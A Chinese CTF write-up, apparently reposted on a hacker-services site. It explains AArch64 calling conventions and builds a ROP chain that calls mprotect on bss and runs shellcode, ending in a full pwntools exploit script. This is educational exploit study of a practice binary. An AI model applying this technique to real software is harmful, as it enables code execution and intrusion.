当前位置:首页 > 黑客服务 > 正文内容

黑客信息网:记一次ARM架构的ROP利用

访客4年前 (2021-04-04)黑客服务711

  先说一下需要搭建的环境:

  1.安装qemu:sudo apt-get install qemu-user

  2.安装gdb-multiarch:sudo apt-get install gdb-multiarch

  3.安装依赖库:sudo apt install gcc-arm-linux-gnueabi gcc-aarch64-linux-gnu

  然后就可以通过qemu起一个虚拟机模拟arm架构的环境了

  qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu

  -g参数表示等待gdb调试连接端口,-L表示加载指定的动态链接库

  启动之后就再起一个终端用gdb-multiarch来进行调试就可以了,指令如下:

  gdb-multiarch arm -q;

  然后在gdb-multiarch界面里输入target remote:1234,就可以进行调试了

  界面如图

  

  在pwntools里可以写成这样的模板,然后就用上面的命令区连接就可以了

  from pwn import *

  import sys

  context.binary=''

  if args[1]=='r':

  p=remote('remote_addr',port)

  if args[1]=='l':

  p=process(["qemu-aarch64","-g","1234","-L","/usr/aarch64-linux-gnu",""])

  elf=ELF('')

  context.log_level='debug'

  pause()

  接下来看下题目,IDA7.0 Pro已经可以支持ARM反编译了,我们就来分析下这个程序,最开始是往bss端上读0x200个字符,然后又往栈里读了0x200个字符,猜测是不是返回到bss端执行shellcode,但是最后发现不是,因为查看bss段后没有x权限。

  __int64 sub_400818()

  {

  sub_400760();

  write(1LL, "Name:", 5LL);

  read(0LL, &unk_411068, 512LL);

  sub_4007F0();

  return 0LL;

  }

  __int64 sub_4007F0()

  {

  __int64 v1; // [xsp+10h] [xbp+10h]

  return read(0LL, &v1, 512LL);

  }

  然后发现函数列表里有mprotect函数

  在这个位置被调用了

  .text:00000000004007E0 BL .mprotect

  .text:00000000004007E4 NOP

  .text:00000000004007E8 LDP X29, X30, [SP],#0x10

  .text:00000000004007EC RET

  所以确定了思路那就是第一次往bss段读数据的时候把shellcode输入进去,然后在栈溢出那里通过ROP用mprotect给bss开权限,然后控制返回地址到bss段写的shellcode上。那接下来就是找gadget。但是满屏幕的汇编让我看不懂,于是我去查了下资料。发现ARM架构里是没有POP和PUSH指令的,他们的指令是这样的。

  

  ARM架构下调用函数的约定是,X0,X1,X2,X3寄存器传递前四个参数,后面的参数从右到左依次入栈。ARM架构下的PC寄存器就相当于x86的IP寄存器,都指向下一条指令的地址,同时BL指令实现了跳转到调用的函数处执行,跳转的同时会存储返回地址到X30寄存器中,在给被调用函数开辟栈帧的时候,会将BL指令存储在X30中的返回地址压入栈中,在调用函数结束后,会将栈里的返回地址弹回给X30寄存器,RET指令会将X30的内容给到PC寄存器。这就是为什么在这个函数的开头会有这个指令

  STP X29, X30, [SP,#-0x10+var_s0]!

  在这个指令执行之后,SP寄存器也就是栈顶指针会-0x10。是!和#-0x10在发挥作用。也就是类似这种在[]后有个!,并且[]里有数字的话,就会将里面寄存器进行运算后将数据写回第一个寄存器,这里SP会用原来的数据-0x10+0后写回SP。或者类似这种

  LDP X29, X30, [SP+var_s0],#0x40

  这种在[]后面还有数字的,在将sp+var_s0偏移处取0x10大小的数据,分成0x8大小的两份数据按顺序放到X29 X30的寄存器中,并且SP指针会+0x40。

  既然清楚了各个指令都做了什么,接下来就是找栈溢出的偏移然后再找gadget。

  那么该如何确定偏移呢

  

  可以看到这个栈溢出函数里,首先将X29,X30两个寄存的值压入栈中同时将栈帧抬高了0x50。然后将当前栈顶指针的值赋值给X29,这里要注意一点,ARM架构下试没有BP栈底指针的,所以在刚调用函数时X29保存的是上一个函数栈帧的状态,压入栈中方便调用完函数后恢复现场。保存好上一个栈帧的状态之后,再把当前栈顶指针赋值给X29寄存器。这里可以看到read的函数时,三个参数分别是0,SP+10,0x200,也就是相当于在往当前栈顶+0x10处读数据,所以可以算出输入位置距离返回地址的偏移

  0x50-0x10+0x8=0x48=72.为什么+0x8是因为x29寄存器也被入栈了。所以还要加八个字节的大小。

  确定偏移之后,就是找gadget了。查阅资料后,发现ARM架构下也有一个万能gadget,

  

  从4008cc开始加载了栈内的数据到x19 x20 x21 x22 x24 x24 x29 x30这八个寄存器里,我们可以通过将返回地址控制到0x4008cc,然后后面的数据我们可以构造好,从而控制x30这个寄存器,ret之后跳回到0x4008ac处执行,会将[X21+X19<<3]内存处的内容赋值给X3,X22赋值给X2,X23赋值给X1,X24赋值给X0,然后跳到X3执行,这样我们就有了能控制三个参数的mprotect,就可以给bss段开执行权限了。然后就是写shellcode执行了。

  ROP布置如下:

  payload='a'*72 #offset

  payload +=p64(0x4008cc) #ret addr

  payload +=p64(0x0) #x29

  payload +=p64(0x4008ac) #x30

  payload +=p64(0) #x19

  payload +=p64(1) #x20

  payload +=p64(0x411068) #x21

  payload +=p64(0x7) #x22

  payload +=p64(0x1000) #x23

  payload +=p64(0x411000) #x24

  payload +=p64(0) #after mprotect x29

  payload +=p64(0x411068+0x8) #x30 ret addr

  可以注意到我们这里布置的是0x411068来控制X3寄存器,因为是将[X21]的内容赋值给X3,所以这里我们先在bss段上填好有调用mprotect函数的指令地址,然后将0x40011068里存储的指令地址赋值给X3。后两行构造成这样的原因是

  

  调用mprotect后,会将相应栈顶的值弹回给X29 X30两个寄存器,然后RET。也就是说0x411068+0x8处是返回地址,这时bss段已经被我们开启了可执行权限,这样执行就没有问题了。

  exp: from pwn import *

  import sys

  context.binary=''

  if sys.argv[1]=="r":

  p=remote('node3.buuoj.cn',27938)

  if sys.argv[1]=="l":

  p=process(["qemu-aarch64","-g","1234","-L","/usr/aarch64-linux-gnu",""])

  p=remote('127.0.0.1',10002)

  elf=ELF('')

  context.log_level='debug'

  shellcode=asm(shellcraft.aarch64.sh())

  mprotect=0x4007e0

  pause()

  p.recvuntil('Name:')

  pause()

  payload=p64(mprotect) + shellcode

  p.sendline(payload)

  sleep(0.1)

  payload='a'*72

  payload +=p64(0x4008cc)

  payload +=p64(0x0) #x29

  payload +=p64(0x4008ac) #x30

  payload +=p64(0) #x19

  payload +=p64(1) #x20

  payload +=p64(0x411068) #x21

  payload +=p64(0x7) #x22

  payload +=p64(0x1000) #x23

  payload +=p64(0x411000) #x24

  payload +=p64(0)

  payload +=p64(0x411068+0x8)

  pause()

  p.sendline(payload)

  p.interactive()

  总结:这只是一道ARM架构下的入门题,所以题目的难度不是很大,但是初学者可以通过这道题了解到ARM架构下函数的调用约定,ARM架构下的部分指令集,以及跟X86架构调用函数过程的异同,还有ARM架构下ROP的构造,可以说蛮有意义的。

  实验推荐--《ARM汇编教程》

  该课程是后续《ARM漏洞利用技术》打基础的,我们在漏洞利用课程中会介绍使用ARM汇编编写shellcode等内容,所以在此之前一定要把ARM汇编的基础打扎实。大家可以点击链接了解实验详情

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/107023.html

分享给朋友:

“黑客信息网:记一次ARM架构的ROP利用” 的相关文章

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另 鸡鸭的肛门附近组织,布满大大小小的腺体,各类秽物与毒素都在这些腺体囤积;鸡鸭的肛门也有非常高密度的大肠杆菌,所以鸡鸭的屁股不是少吃的问题,而是不能吃.吃得少可能没觉出怎样,多了问题就显出来了.而且鸡鸭屁股的大肠杆菌会随着蛋生出来的时...

身份证信息被黑客盗取(黑客能把手机内身份证信息盗取吗)

一、身份证信息被黑客盗取(黑客能把手机内身份证信息盗取吗)方法总结 1、黑客通过手身份姓名能否窃取别人银行卡里。朋友你好,这个问题不是这样理解的的,黑客是通过你的这些信息,破易你的银行卡号支付密码来盗取你的财物的,一般你只要不乱点链接,不轻易在手机。黑客控制了手机,窃取了身份证号码手机号姓名等所有...

鸡业行情网今日鸡价,鸡业行情网下载安装

河南:新乡肉鸡价格4点45:鸡架2点鸡肉7点鸡大腿鸡翅根8点鸡爪鸡翅尖鸡翅中鸡心鸡肝,其地址为http,除江苏地区苗鸡价格略涨,烟台网肉鸡价格4点65-4点75元/斤/wyimucom/down-15679html,1点00元/羽,点击“下载文件。以市斤为单位/羽 菏泽鸡苗价格3点90-4点30元/...

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好 铁盖子可以放入高压锅蒸吗? 装酱料的铁盖子,外面的涂层有些剥落,好象也没锈,可以拿它盖严瓶子入高压锅蒸吗? 绝对不行!既危险又不卫生。盖住的瓶子在高压锅中加热,很容易形成压力差而爆炸;铁在高压锅中的水蒸汽作用下极易变成四氧化三...

中国水产养殖网官网_中国水产价格网

只能告诉你名称了,这个,像南京就要三十几,南京六合沪江水产市场甲鱼价格就应声下落。 1-2两的黄鳝批发价格是25元/斤,19-20元/斤,水产养殖网总浏览量达100万人次,价格在35-40元一斤。按照商品鱼进行销售的话,元旦刚过。 生甲鱼200-500/斤,我这边有一个,水产养殖品,战略合作 现在市...

纳智捷s5多少钱_纳智捷s5怎么样口碑

纳智捷如果销量再上不去可能就会退市了。维护保养不方便。虽然走的是高配低价路线但是油耗高,此情况发生了两次后来到4s店也没给,纳5这款车做工和质量.不仅损伤车子还非常的刺激心脏,你好,到二手市场问问对这款车的评价,内饰做工好一些。 不要急于出手,售后方面是不是真的很差?真诚希望各.发动机动力弱,比纯国...

评论列表

嘻友温人
2年前 (2022-07-09)

将0x40011068里存储的指令地址赋值给X3。后两行构造成这样的原因是    调用mprotect后,会将相应栈顶的值弹回给X29 X30两个寄存器,然后RET。也就是说0x411068+0x8处是返回地址,这时bss段已经被我们开启了可执行权限,这样执行就没有问题了。  exp:

北槐而川
2年前 (2022-07-09)

0000004007EC RET  所以确定了思路那就是第一次往bss段读数据的时候把shellcode输入进去,然后在栈溢出那里通过ROP用mprot

末屿萌懂
2年前 (2022-07-08)

础的,我们在漏洞利用课程中会介绍使用ARM汇编编写shellcode等内容,所以在此之前一定要把ARM汇编的基础打扎实。大家可以点击链接了解实验详情

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。